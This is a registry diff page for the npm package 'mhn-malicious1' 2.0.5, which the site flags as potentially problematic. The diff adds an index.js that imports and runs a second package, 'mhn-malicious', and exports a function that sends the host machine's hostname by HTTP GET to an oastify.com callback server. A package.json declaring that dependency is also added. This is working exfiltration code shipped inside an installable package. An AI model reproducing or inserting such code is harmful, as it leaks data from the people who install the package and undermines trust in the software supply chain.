mhn-malicious1 2.0.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of mhn-malicious1 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +23 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const http = require('http');
2
+ const mhn = require('mhn-malicious');
3
+ mhn();
4
+
5
+ module.exports = function() {
6
+ const hostname = require('os').hostname();
7
+
8
+ const options = {
9
+ hostname: 'q6xjg3g3tfmh1vk4xv0axdd3muslgd42.oastify.com',
10
+ path: `/${hostname}`,
11
+ method: 'GET',
12
+ };
13
+
14
+ const req = http.request(options, res => {
15
+ console.log(`Status Code: ${res.statusCode}`);
16
+ });
17
+
18
+ req.on('error', error => {
19
+ console.error(`Error sending hostname: ${error}`);
20
+ });
21
+
22
+ req.end();
23
+ };
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "mhn-malicious1",
3
+ "version": "2.0.5",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": "",
12
+ "dependencies": {
13
+ "mhn-malicious": "^2.0.1"
14
+ }
15
+ }